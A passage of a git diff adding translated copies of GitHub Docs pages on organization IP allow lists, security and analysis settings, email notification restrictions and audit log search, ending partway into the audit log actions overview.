{% data reusables.identity-and-permissions.ip-allow-lists-example-and-restrictions %} + +{% ifversion ghec %} +{% note %} + +**Note:** Only organizations that use {% data variables.product.prodname_ghe_cloud %} can use IP allow lists. {% data reusables.enterprise.link-to-ghec-trial %} + +{% endnote %} +{% endif %} + +{% data reusables.identity-and-permissions.ip-allow-lists-cidr-notation %} + +{% data reusables.identity-and-permissions.ip-allow-lists-enable %} + +If you set up an allow list you can also choose to automatically add to your allow list any IP addresses configured for {% data variables.product.prodname_github_apps %} that you install in your organization. The creator of a {% data variables.product.prodname_github_app %} can configure an allow list for their application, specifying the IP addresses at which the application runs. By inheriting their allow list into yours, you avoid connection requests from the application being refused. For more information, see "[Allowing access by {% data variables.product.prodname_github_apps %}](#allowing-access-by-github-apps)." + +You can also configure allowed IP addresses for the organizations in an enterprise account. For more information, see "[Enforcing policies for security settings in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise#managing-allowed-ip-addresses-for-organizations-in-your-enterprise)." + +## Adding an allowed IP address + +{% data reusables.identity-and-permissions.about-adding-ip-allow-list-entries %} + +{% data reusables.identity-and-permissions.ipv6-allow-lists %} + +{% data reusables.profile.access_org %} +{% data reusables.profile.org_settings %} +{% data reusables.organizations.security %} +{% data reusables.identity-and-permissions.ip-allow-lists-add-ip %} +{% data reusables.identity-and-permissions.ip-allow-lists-add-description %} +{% data reusables.identity-and-permissions.ip-allow-lists-add-entry %} +{% data reusables.identity-and-permissions.check-ip-address %} + +## Enabling allowed IP addresses + +{% data reusables.identity-and-permissions.about-enabling-allowed-ip-addresses %} + +{% data reusables.profile.access_org %} +{% data reusables.profile.org_settings %} +{% data reusables.organizations.security %} +1. Under "IP allow list", select **Enable IP allow list**. + ![Checkbox to allow IP addresses](/assets/images/help/security/enable-ip-allowlist-organization-checkbox.png) +1. Click **Save**. + +## Allowing access by {% data variables.product.prodname_github_apps %} + +If you're using an allow list, you can also choose to automatically add to your allow list any IP addresses configured for {% data variables.product.prodname_github_apps %} that you install in your organization. + +{% data reusables.identity-and-permissions.ip-allow-lists-address-inheritance %} + +{% data reusables.apps.ip-allow-list-only-apps %} + +For more information about how to create an allow list for a {% data variables.product.prodname_github_app %} you have created, see "[Managing allowed IP addresses for a GitHub App](/developers/apps/building-github-apps/managing-allowed-ip-addresses-for-a-github-app)." + +{% data reusables.profile.access_org %} +{% data reusables.profile.org_settings %} +{% data reusables.organizations.security %} +1. Under "IP allow list", select **Enable IP allow list configuration for installed GitHub Apps**. + ![Checkbox to allow GitHub App IP addresses](/assets/images/help/security/enable-ip-allowlist-githubapps-checkbox.png) +1. Click **Save**. + +## Editing an allowed IP address + +{% data reusables.identity-and-permissions.about-editing-ip-allow-list-entries %} + +{% data reusables.profile.access_org %} +{% data reusables.profile.org_settings %} +{% data reusables.organizations.security %} +{% data reusables.identity-and-permissions.ip-allow-lists-edit-entry %} +{% data reusables.identity-and-permissions.ip-allow-lists-edit-ip %} +{% data reusables.identity-and-permissions.ip-allow-lists-edit-description %} +1. Click **Update**. +{% data reusables.identity-and-permissions.check-ip-address %} + +{% ifversion ip-allow-list-address-check %} +## Checking if an IP address is permitted + +{% data reusables.identity-and-permissions.about-checking-ip-address %} + +{% data reusables.profile.access_org %} +{% data reusables.profile.org_settings %} +{% data reusables.organizations.security %} +{% data reusables.identity-and-permissions.check-ip-address-step %} +{% endif %} + +## Deleting an allowed IP address + +{% data reusables.profile.access_org %} +{% data reusables.profile.org_settings %} +{% data reusables.organizations.security %} +{% data reusables.identity-and-permissions.ip-allow-lists-delete-entry %} +{% data reusables.identity-and-permissions.ip-allow-lists-confirm-deletion %} + +## Using {% data variables.product.prodname_actions %} with an IP allow list + +{% data reusables.actions.ip-allow-list-self-hosted-runners %} diff --git a/translations/ru-RU/content/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/managing-security-and-analysis-settings-for-your-organization.md b/translations/ru-RU/content/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/managing-security-and-analysis-settings-for-your-organization.md new file mode 100644 index 000000000000..bb75ec8494d7 --- /dev/null +++ b/translations/ru-RU/content/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/managing-security-and-analysis-settings-for-your-organization.md @@ -0,0 +1,166 @@ +--- +title: Managing security and analysis settings for your organization +intro: 'You can control features that secure and analyze the code in your organization''s projects on {% data variables.product.prodname_dotcom %}.' +permissions: Organization owners can manage security and analysis settings for repositories in the organization. +redirect_from: + - /github/setting-up-and-managing-organizations-and-teams/managing-secret-scanning-for-your-organization + - /github/setting-up-and-managing-organizations-and-teams/managing-security-and-analysis-settings-for-your-organization + - /organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Organizations + - Teams +shortTitle: Manage security & analysis +--- + +## About management of security and analysis settings + +{% data variables.product.prodname_dotcom %} can help secure the repositories in your organization. You can manage the security and analysis features for all existing or new repositories that members create in your organization. {% ifversion ghec %}If you have a license for {% data variables.product.prodname_GH_advanced_security %} then you can also manage access to these features. {% data reusables.advanced-security.more-info-ghas %}{% endif %}{% ifversion fpt %}Organizations that use {% data variables.product.prodname_ghe_cloud %} with a license for {% data variables.product.prodname_GH_advanced_security %} can also manage access to these features. For more information, see [the {% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization).{% endif %} + +{% data reusables.security.some-security-and-analysis-features-are-enabled-by-default %} +{% data reusables.security.security-and-analysis-features-enable-read-only %} + +## Displaying the security and analysis settings + +{% data reusables.profile.access_org %} +{% data reusables.profile.org_settings %} +{% data reusables.organizations.security-and-analysis %} + +The page that's displayed allows you to enable or disable all security and analysis features for the repositories in your organization. + +{% ifversion ghec %}If your organization belongs to an enterprise with a license for {% data variables.product.prodname_GH_advanced_security %}, the page will also contain options to enable and disable {% data variables.product.prodname_advanced_security %} features. Any repositories that use {% data variables.product.prodname_GH_advanced_security %} are listed at the bottom of the page.{% endif %} + +{% ifversion ghes %}If you have a license for {% data variables.product.prodname_GH_advanced_security %}, the page will also contain options to enable and disable {% data variables.product.prodname_advanced_security %} features. Any repositories that use {% data variables.product.prodname_GH_advanced_security %} are listed at the bottom of the page.{% endif %} + +{% ifversion ghae %}The page will also contain options to enable and disable {% data variables.product.prodname_advanced_security %} features. Any repositories that use {% data variables.product.prodname_GH_advanced_security %} are listed at the bottom of the page.{% endif %} + +## Enabling or disabling a feature for all existing repositories + +You can enable or disable features for all repositories. +{% ifversion fpt or ghec %}The impact of your changes on repositories in your organization is determined by their visibility: + +- **Dependency graph** - Your changes affect only private repositories because the feature is always enabled for public repositories. +- **{% data variables.product.prodname_dependabot_alerts %}** - Your changes affect all repositories. +- **{% data variables.product.prodname_dependabot_security_updates %}** - Your changes affect all repositories. +{%- ifversion ghec %} +- **{% data variables.product.prodname_GH_advanced_security %}** - Your changes affect only private repositories because {% data variables.product.prodname_GH_advanced_security %} and the related features are always enabled for public repositories. +- **{% data variables.product.prodname_secret_scanning_caps %}** - Your changes affect repositories where {% data variables.product.prodname_GH_advanced_security %} is also enabled. This option controls whether or not {% data variables.product.prodname_secret_scanning_GHAS %} is enabled. {% data variables.product.prodname_secret_scanning_partner_caps %} always runs on all public repositories. +{% endif %} + +{% endif %} + +{% data reusables.advanced-security.note-org-enable-uses-seats %} + +{% ifversion ghes or ghec or ghae %} +{% note %} + +**Note:** If you encounter an error that reads "GitHub Advanced Security cannot be enabled because of a policy setting for the organization," contact your enterprise admin and ask them to change the GitHub Advanced Security policy for your enterprise. For more information, see "[Enforcing policies for Advanced Security in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-code-security-and-analysis-for-your-enterprise)." +{% endnote %} +{% endif %} + +1. Go to the security and analysis settings for your organization. For more information, see "[Displaying the security and analysis settings](#displaying-the-security-and-analysis-settings)." +2. Under "Code security and analysis", to the right of the feature, click **Disable all** or **Enable all**. {% ifversion ghes or ghec %}The control for "{% data variables.product.prodname_GH_advanced_security %}" is disabled if you have no available seats in your {% data variables.product.prodname_GH_advanced_security %} license.{% endif %} + {% ifversion fpt %} + !["Enable all" or "Disable all" button for "Configure security and analysis" features](/assets/images/help/organizations/security-and-analysis-disable-or-enable-all-fpt.png) + {% endif %} + {% ifversion ghec %} + !["Enable all" or "Disable all" button for "Configure security and analysis" features](/assets/images/help/organizations/security-and-analysis-disable-or-enable-all-ghas-ghec.png) + {% endif %} + {% ifversion ghes %} + !["Enable all" or "Disable all" button for "Configure security and analysis" features](/assets/images/enterprise/3.3/organizations/security-and-analysis-disable-or-enable-all-ghas.png) + {% endif %} + + + {% ifversion ghae %} + !["Enable all" or "Disable all" button for "Configure security and analysis" features](/assets/images/enterprise/github-ae/organizations/security-and-analysis-disable-or-enable-all-ghae.png) + {% endif %} + {% ifversion fpt or ghec %} +3. Optionally, enable the feature by default for new repositories in your organization. + {% ifversion fpt or ghec %} + !["Enable by default" option for new repositories](/assets/images/help/organizations/security-and-analysis-enable-by-default-in-modal.png) + {% endif %} + + {% endif %} + {% ifversion fpt or ghec %} +4. Click **Disable FEATURE** or **Enable FEATURE** to disable or enable the feature for all the repositories in your organization. + {% ifversion fpt or ghec %} + ![Button to disable or enable feature](/assets/images/help/organizations/security-and-analysis-enable-dependency-graph.png) + {% endif %} + + {% endif %} + {% ifversion ghae or ghes %} +5. Click **Enable/Disable all** or **Enable/Disable for eligible repositories** to confirm the change. + ![Button to enable feature for all the eligible repositories in the organization](/assets/images/enterprise/github-ae/organizations/security-and-analysis-enable-secret-scanning-existing-repos-ghae.png) + {% endif %} + + {% data reusables.security.displayed-information %} + +## Enabling or disabling a feature automatically when new repositories are added + +1. Go to the security and analysis settings for your organization. For more information, see "[Displaying the security and analysis settings](#displaying-the-security-and-analysis-settings)." +2. Under "Code security and analysis", to the right of the feature, enable or disable the feature by default for new repositories{% ifversion fpt or ghec %}, or all new private repositories,{% endif %} in your organization. + {% ifversion fpt or ghec %} + ![Screenshot of a checkbox for enabling a feature for new repositories](/assets/images/help/organizations/security-and-analysis-enable-or-disable-feature-checkbox.png) + {% endif %} + {% ifversion ghes %} + ![Screenshot of a checkbox for enabling a feature for new repositories](/assets/images/enterprise/3.3/organizations/security-and-analysis-enable-or-disable-feature-checkbox.png) + {% endif %} + + {% ifversion ghae %} + ![Screenshot of a checkbox for enabling a feature for new repositories](/assets/images/enterprise/github-ae/organizations/security-and-analysis-enable-or-disable-secret-scanning-checkbox-ghae.png) + {% endif %} + +{% ifversion fpt or ghec or ghes %} + +## Allowing {% data variables.product.prodname_dependabot %} to access private dependencies + +{% data variables.product.prodname_dependabot %} can check for outdated dependency references in a project and automatically generate a pull request to update them. To do this, {% data variables.product.prodname_dependabot %} must have access to all of the targeted dependency files. Typically, version updates will fail if one or more dependencies are inaccessible. For more information, see "[About {% data variables.product.prodname_dependabot %} version updates](/github/administering-a-repository/about-dependabot-version-updates)." + +By default, {% data variables.product.prodname_dependabot %} can't update dependencies that are located in private repositories or private package registries. However, if a dependency is in a private {% data variables.product.prodname_dotcom %} repository within the same organization as the project that uses that dependency, you can allow {% data variables.product.prodname_dependabot %} to update the version successfully by giving it access to the host repository. + +If your code depends on packages in a private registry, you can allow {% data variables.product.prodname_dependabot %} to update the versions of these dependencies by configuring this at the repository level. You do this by adding authentication details to the _dependabot.yml_ file for the repository. For more information, see "[Configuration options for the dependabot.yml file](/github/administering-a-repository/configuration-options-for-dependency-updates#configuration-options-for-private-registries)." + +To allow {% data variables.product.prodname_dependabot %} to access a private {% data variables.product.prodname_dotcom %} repository: + +1. Go to the security and analysis settings for your organization. For more information, see "[Displaying the security and analysis settings](#displaying-the-security-and-analysis-settings)." +1. Under "{% data variables.product.prodname_dependabot %} private repository access", click **Add private repositories** or **Add internal and private repositories**. + ![Add repositories button](/assets/images/help/organizations/dependabot-private-repository-access.png) +1. Start typing the name of the repository you want to allow. + ![Repository search field with filtered dropdown](/assets/images/help/organizations/dependabot-private-repo-choose.png) +1. Click the repository you want to allow. + +1. Optionally, to remove a repository from the list, to the right of the repository, click {% octicon "x" aria-label="The X icon" %}. + !["X" button to remove a repository](/assets/images/help/organizations/dependabot-private-repository-list.png) +{% endif %} + +{% ifversion ghes or ghec %} + +## Removing access to {% data variables.product.prodname_GH_advanced_security %} from individual repositories in an organization + +You can manage access to {% data variables.product.prodname_GH_advanced_security %} features for a repository from its "Settings" tab. For more information, see "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)." However, you can also disable {% data variables.product.prodname_GH_advanced_security %} features for a repository from the "Settings" tab for the organization. + +1. Go to the security and analysis settings for your organization. For more information, see "[Displaying the security and analysis settings](#displaying-the-security-and-analysis-settings)." +1. To see a list of all the repositories in your organization with {% data variables.product.prodname_GH_advanced_security %} enabled, scroll to the "{% data variables.product.prodname_GH_advanced_security %} repositories" section. + ![{% data variables.product.prodname_GH_advanced_security %} repositories section](/assets/images/help/organizations/settings-security-analysis-ghas-repos-list.png) + The table lists the number of unique committers for each repository. This is the number of seats you could free up on your license by removing access to {% data variables.product.prodname_GH_advanced_security %}. For more information, see "[About billing for {% data variables.product.prodname_GH_advanced_security %}](/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security)." +1. To remove access to {% data variables.product.prodname_GH_advanced_security %} from a repository and free up seats used by any committers that are unique to the repository, click the adjacent {% octicon "x" aria-label="X symbol" %}. +1. In the confirmation dialog, click **Remove repository** to remove access to the features of {% data variables.product.prodname_GH_advanced_security %}. + +{% note %} + +**Note:** If you remove access to {% data variables.product.prodname_GH_advanced_security %} for a repository, you should communicate with the affected development team so that they know that the change was intended. This ensures that they don't waste time debugging failed runs of code scanning. + +{% endnote %} + +{% endif %} + +## Further reading + +- "[Securing your repository](/code-security/getting-started/securing-your-repository)"{% ifversion not fpt %} +- "[About secret scanning](/github/administering-a-repository/about-secret-scanning)"{% endif %}{% ifversion not ghae %} +- "[About the dependency graph](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph)"{% endif %} +- "[About supply chain security](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-supply-chain-security)" diff --git a/translations/ru-RU/content/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/restricting-email-notifications-for-your-organization.md b/translations/ru-RU/content/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/restricting-email-notifications-for-your-organization.md new file mode 100644 index 000000000000..17d74b6e6e0e --- /dev/null +++ b/translations/ru-RU/content/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/restricting-email-notifications-for-your-organization.md @@ -0,0 +1,51 @@ +--- +title: Restricting email notifications for your organization +intro: 'To prevent organization information from leaking into personal email accounts, you can restrict the domains where members can receive email notifications about organization activity.' +permissions: Organization owners can restrict email notifications for an organization. +redirect_from: + - /articles/restricting-email-notifications-about-organization-activity-to-an-approved-email-domain + - /articles/restricting-email-notifications-to-an-approved-domain + - /github/setting-up-and-managing-organizations-and-teams/restricting-email-notifications-to-an-approved-domain + - /organizations/keeping-your-organization-secure/restricting-email-notifications-to-an-approved-domain + - /organizations/keeping-your-organization-secure/restricting-email-notifications-for-your-organization +versions: + ghes: '*' + ghec: '*' +type: how_to +topics: + - Enterprise + - Notifications + - Organizations + - Policy +shortTitle: Restrict email notifications +--- + +## About email restrictions + +When restricted email notifications are enabled in an organization, members can only use an email address associated with a verified or approved domain to receive email notifications about organization activity. For more information, see "[Verifying or approving a domain for your organization](/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization)." + +{% ifversion ghec %} +{% note %} + +**Note:** To restrict email notifications, your organization must use {% data variables.product.prodname_ghe_cloud %}. {% data reusables.enterprise.link-to-ghec-trial %} + +{% endnote %} +{% endif %} + +{% data reusables.notifications.email-restrictions-verification %} + +Outside collaborators are not subject to restrictions on email notifications for verified or approved domains. For more information about outside collaborators, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#outside-collaborators)." + +If your organization is owned by an enterprise account, organization members will be able to receive notifications from any domains verified or approved for the enterprise account, in addition to any domains verified or approved for the organization. For more information, see "[Verifying or approving a domain for your enterprise](/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise)." + +## Restricting email notifications + +Before you can restrict email notifications for your organization, you must verify or approve at least one domain for the organization, or an enterprise owner must have verified or approved at least one domain for the enterprise account. + +For more information about verifying and approving domains for an organization, see "[Verifying or approving a domain for your organization](/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization)." + +{% data reusables.profile.access_org %} +{% data reusables.profile.org_settings %} +{% data reusables.organizations.verified-domains %} +{% data reusables.organizations.restrict-email-notifications %} +6. Click **Save**. diff --git a/translations/ru-RU/content/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization.md b/translations/ru-RU/content/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization.md new file mode 100644 index 000000000000..ddcbcd53d1db --- /dev/null +++ b/translations/ru-RU/content/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization.md @@ -0,0 +1,871 @@ +--- +title: Reviewing the audit log for your organization +intro: 'The audit log allows organization admins to quickly review the actions performed by members of your organization. It includes details such as who performed the action, what the action was, and when it was performed.' +miniTocMaxHeadingLevel: 3 +redirect_from: + - /articles/reviewing-the-audit-log-for-your-organization + - /github/setting-up-and-managing-organizations-and-teams/reviewing-the-audit-log-for-your-organization + - /organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Organizations + - Teams +shortTitle: Review audit log +--- + +## Accessing the audit log + +The audit log lists events triggered by activities that affect your organization within the current month and previous six months. Only owners can access an organization's audit log. + +{% data reusables.audit_log.only-three-months-displayed %} + +{% data reusables.profile.access_org %} +{% data reusables.profile.org_settings %} +{% data reusables.audit_log.audit_log_sidebar_for_org_admins %} + +## Searching the audit log + +{% data reusables.audit_log.audit-log-search %} + +### Search based on the action performed + +To search for specific events, use the `action` qualifier in your query. Actions listed in the audit log are grouped within the following categories: + +| Category name | Description +|------------------|-------------------{% ifversion fpt or ghec %} +| [`account`](#account-category-actions) | Contains all activities related to your organization account.{% endif %}{% ifversion fpt or ghec %} +| [`advisory_credit`](#advisory_credit-category-actions) | Contains all activities related to crediting a contributor for a security advisory in the {% data variables.product.prodname_advisory_database %}. For more information, see "[About {% data variables.product.prodname_dotcom %} Security Advisories](/github/managing-security-vulnerabilities/about-github-security-advisories)."{% endif %}{% ifversion pat-v2%} +| [`auto_approve_personal_access_token_requests`](#auto_approve_personal_access_token_requests-category-actions) | Contains activities related to your organization's approval policy for {% data variables.product.pat_v2 %}s. For more information, see "[Setting a {% data variables.product.pat_generic %} policy for your organization](/organizations/managing-programmatic-access-to-your-organization/setting-a-personal-access-token-policy-for-your-organization)."{% endif %}{% ifversion fpt or ghec %} +| [`billing`](#billing-category-actions) | Contains all activities related to your organization's billing.{% endif %}{% ifversion fpt or ghec %} +| [`business`](#business-category-actions) | Contains activities related to business settings for an enterprise. |{% endif %}{% ifversion fpt or ghec %} +| [`codespaces`](#codespaces-category-actions) | Contains all activities related to your organization's codespaces. |{% endif %} +| [`dependabot_alerts`](#dependabot_alerts-category-actions) | Contains organization-level configuration activities for {% data variables.product.prodname_dependabot_alerts %} in existing repositories. For more information, see "[About {% data variables.product.prodname_dependabot_alerts %}](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies)." +| [`dependabot_alerts_new_repos`](#dependabot_alerts_new_repos-category-actions) | Contains organization-level configuration activities for {% data variables.product.prodname_dependabot_alerts %} in new repositories created in the organization.{% ifversion fpt or ghec or ghes %} +| [`dependabot_security_updates`](#dependabot_security_updates-category-actions) | Contains organization-level configuration activities for {% data variables.product.prodname_dependabot_security_updates %} in existing repositories. For more information, see "[Configuring {% data variables.product.prodname_dependabot_security_updates %}](/github/managing-security-vulnerabilities/configuring-dependabot-security-updates)." +| [`dependabot_security_updates_new_repos`](#dependabot_security_updates_new_repos-category-actions) | Contains organization-level configuration activities for {% data variables.product.prodname_dependabot_security_updates %} for new repositories created in the organization.{% endif %}{% ifversion fpt or ghec %} +| [`dependency_graph`](#dependency_graph-category-actions) | Contains organization-level configuration activities for dependency graphs for repositories. For more information, see "[About the dependency graph](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph)." +| [`dependency_graph_new_repos`](#dependency_graph_new_repos-category-actions) | Contains organization-level configuration activities for new repositories created in the organization.{% endif %} +| [`discussion_post`](#discussion_post-category-actions) | Contains all activities related to discussions posted to a team page. +| [`discussion_post_reply`](#discussion_post_reply-category-actions) | Contains all activities related to replies to discussions posted to a team page.{% ifversion fpt or ghes or ghec %} +| [`enterprise`](#enterprise-category-actions) | Contains activities related to enterprise settings. |{% endif %} +| [`hook`](#hook-category-actions) | Contains all activities related to webhooks. +| [`integration_installation`](#integration_installation-category-actions) | Contains activities related to integrations installed in an account. | +| [`integration_installation_request`](#integration_installation_request-category-actions) | Contains all activities related to organization member requests for owners to approve integrations for use in the organization. |{% ifversion ghec or ghae %} +| [`ip_allow_list`](#ip_allow_list-category-actions) | Contains activities related to enabling or disabling the IP allow list for an organization. +| [`ip_allow_list_entry`](#ip_allow_list_entry-category-actions) | Contains activities related to the creation, deletion, and editing of an IP allow list entry for an organization.{% endif %} +| [`issue`](#issue-category-actions) | Contains activities related to deleting an issue. {% ifversion fpt or ghec %} +| [`marketplace_agreement_signature`](#marketplace_agreement_signature-category-actions) | Contains all activities related to signing the {% data variables.product.prodname_marketplace %} Developer Agreement. +| [`marketplace_listing`](#marketplace_listing-category-actions) | Contains all activities related to listing apps in {% data variables.product.prodname_marketplace %}.{% endif %}{% ifversion fpt or ghes or ghec %} +| [`members_can_create_pages`](#members_can_create_pages-category-actions) | Contains all activities related to managing the publication of {% data variables.product.prodname_pages %} sites for repositories in the organization. For more information, see "[Managing the publication of {% data variables.product.prodname_pages %} sites for your organization](/organizations/managing-organization-settings/managing-the-publication-of-github-pages-sites-for-your-organization)." | {% endif %} +| [`org`](#org-category-actions) | Contains activities related to organization membership.{% ifversion ghec %} +| [`org_credential_authorization`](#org_credential_authorization-category-actions) | Contains all activities related to authorizing credentials for use with SAML single sign-on.{% endif %}{% ifversion secret-scanning-audit-log-custom-patterns %} +| [`org_secret_scanning_custom_pattern`](#org_secret_scanning_custom_pattern-category-actions) | Contains organization-level activities related to secret scanning custom patterns. For more information, see "[Defining custom patterns for secret scanning](/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning)." {% endif %} +| [`organization_default_label`](#organization_default_label-category-actions) | Contains all activities related to default labels for repositories in your organization. +| [`oauth_application`](#oauth_application-category-actions) | Contains all activities related to OAuth Apps. +| [`packages`](#packages-category-actions) | Contains all activities related to {% data variables.product.prodname_registry %}.{% ifversion fpt or ghec %} +| [`payment_method`](#payment_method-category-actions) | Contains all activities related to how your organization pays for GitHub.{% endif %}{% ifversion pat-v2%} +| [`personal_access_token`](#personal_access_token-category-actions) | Contains activities related to {% data variables.product.pat_v2 %}s in your organization. For more information, see "[Creating a {% data variables.product.pat_generic %}](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token)."{% endif %} +| [`profile_picture`](#profile_picture-category-actions) | Contains all activities related to your organization's profile picture. +| [`project`](#project-category-actions) | Contains all activities related to project boards. +| [`protected_branch`](#protected_branch-category-actions) | Contains all activities related to protected branches. +| [`repo`](#repo-category-actions) | Contains activities related to the repositories owned by your organization.{% ifversion fpt or ghec %} +| [`repository_advisory`](#repository_advisory-category-actions) | Contains repository-level activities related to security advisories in the {% data variables.product.prodname_advisory_database %}. For more information, see "[About {% data variables.product.prodname_dotcom %} Security Advisories](/github/managing-security-vulnerabilities/about-github-security-advisories)." +| [`repository_content_analysis`](#repository_content_analysis-category-actions) | Contains all activities related to [enabling or disabling data use for a private repository](/articles/about-github-s-use-of-your-data).{% endif %}{% ifversion fpt or ghec %} +| [`repository_dependency_graph`](#repository_dependency_graph-category-actions) | Contains repository-level activities related to enabling or disabling the dependency graph for a {% ifversion fpt or ghec %}private {% endif %}repository. For more information, see "[About the dependency graph](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph)."{% endif %}{% ifversion ghes or ghae or ghec %} +| [`repository_secret_scanning`](#repository_secret_scanning-category-actions) | Contains repository-level activities related to secret scanning. For more information, see "[About secret scanning](/github/administering-a-repository/about-secret-scanning)." {% endif %}{% ifversion secret-scanning-audit-log-custom-patterns %} +| [`repository_secret_scanning_custom_pattern`](#repository_secret_scanning_custom_pattern-category-actions) | Contains repository-level activities related to secret scanning custom patterns. For more information, see "[Defining custom patterns for secret scanning](/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning)." {% endif %}{% ifversion secret-scanning-audit-log-custom-patterns %} +| [`repository_secret_scanning_push_protection`](#repository_secret_scanning_push_protection-category-actions) | Contains repository-level activities related to secret scanning custom patterns. For more information, see "[Protecting pushes with secret scanning](/code-security/secret-scanning/protecting-pushes-with-secret-scanning)." {% endif %} +| [`repository_vulnerability_alert`](#repository_vulnerability_alert-category-actions) | Contains all activities related to [{% data variables.product.prodname_dependabot_alerts %}](/code-security/dependabot/dependabot-alerts/about-dependabot-alerts).{% ifversion fpt or ghec %} +| [`repository_vulnerability_alerts`](#repository_vulnerability_alerts-category-actions) | Contains repository-level configuration activities for {% data variables.product.prodname_dependabot_alerts %}.{% endif %}{% ifversion custom-repository-roles %} +| [`role`](#role-category-actions) | Contains all activities related to [custom repository roles](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization).{% endif %}{% ifversion ghes or ghae or ghec %} +| [`secret_scanning`](#secret_scanning-category-actions) | Contains organization-level configuration activities for secret scanning in existing repositories. For more information, see "[About secret scanning](/github/administering-a-repository/about-secret-scanning)." +| [`secret_scanning_new_repos`](#secret_scanning_new_repos-category-actions) | Contains organization-level configuration activities for secret scanning for new repositories created in the organization. {% endif %}{% ifversion fpt or ghec %} +| [`sponsors`](#sponsors-category-actions) | Contains all events related to sponsor buttons (see "[Displaying a sponsor button in your repository](/articles/displaying-a-sponsor-button-in-your-repository)"){% endif %} +| [`team`](#team-category-actions) | Contains all activities related to teams in your organization. +| [`team_discussions`](#team_discussions-category-actions) | Contains activities related to managing team discussions for an organization. +| [`workflows`](#workflows-category-actions) | Contains activities related to {% data variables.product.prodname_actions %} workflows. + +You can search for specific sets of actions using these terms. For example: + + * `action:team` finds all events grouped within the team category. + * `-action:hook` excludes all events in the webhook category. + +Each category has a set of associated actions that you can filter on. For example: + + * `action:team.create` finds all events where a team was created. + * `-action:hook.events_changed` excludes all events where the events on a webhook have been altered. + +### Search based on time of action + +Use the `created` qualifier to filter events in the audit log based on when they occurred. {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %} + +{% data reusables.search.date_gt_lt %} + +For example: + + * `created:2014-07-08` finds all events that occurred on July 8th, 2014. + * `created:>=2014-07-08` finds all events that occurred on or after July 8th, 2014. + * `created:<=2014-07-08` finds all events that occurred on or before July 8th, 2014. + * `created:2014-07-01..2014-07-31` finds all events that occurred in the month of July 2014. + +{% note %} + +**Note**: The audit log contains data for the current month and every day of the previous six months. + +{% endnote %} + +### Search based on location + +Using the qualifier `country`, you can filter events in the audit log based on the originating country. You can use a country's two-letter short code or its full name. Keep in mind that countries with spaces in their name will need to be wrapped in quotation marks. For example: + + * `country:de` finds all events that occurred in Germany. + * `country:Mexico` finds all events that occurred in Mexico. + * `country:"United States"` all finds events that occurred in the United States. + +{% ifversion fpt or ghec %} +## Exporting the audit log + +{% data reusables.audit_log.export-log %} + +{% data reusables.audit_log.git-events-export-limited %} + +{% data reusables.audit_log.exported-log-keys-and-values %} +{% endif %} + +## Using the audit log API + +{% ifversion fpt %} + +Organizations that use {% data variables.product.prodname_ghe_cloud %} can interact with the audit log using the GraphQL API and REST API. For more information, see [the {% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization#using-the-audit-log-api). + +{% else %} + +You can interact with the audit log using the GraphQL API{% ifversion fpt or ghec %} or the REST API{% endif %}.{% ifversion read-audit-scope %} You can use the `read:audit_log` scope to access the audit log via the APIs.{% endif %} + +{% ifversion ghec %} + +{% note %} + +**Note:** To use the audit log API, your organization must use {% data variables.product.prodname_ghe_cloud %}. {% data reusables.enterprise.link-to-ghec-trial %} + +{% endnote %} + +### Using the GraphQL API + +{% endif %} + +To ensure your intellectual property is secure, and you maintain compliance for your organization, you can use the audit log GraphQL API to keep copies of your audit log data and monitor: +{% data reusables.audit_log.audit-log-api-info %} + +{% ifversion ghec %} +Note that you can't retrieve Git events using the GraphQL API. To retrieve Git events, use the REST API instead. For more information, see "[`git` category actions](#git-category-actions)." +{% endif %} + +The GraphQL response can include data for up to 90 to 120 days. + +For example, you can make a GraphQL request to see all the new organization members added to your organization. For more information, see the "[GraphQL API Audit Log](/graphql/reference/interfaces#auditentry/)." + +{% ifversion ghec %} + +### Using the REST API + +To ensure your intellectual property is secure, and you maintain compliance for your organization, you can use the audit log REST API to keep copies of your audit log data and monitor: +{% data reusables.audit_log.audited-data-list %} + +{% data reusables.audit_log.audit-log-git-events-retention %} + +By default, only events from the past three months are returned. To include older events, you must specify a timestamp in your query. + +For more information about the audit log REST API, see "[Organizations](/rest/reference/orgs#get-the-audit-log-for-an-organization)." + +{% endif %} +{% endif %} + +## Audit log actions + +An overview of some of the most common actions that are recorded as events in the audit 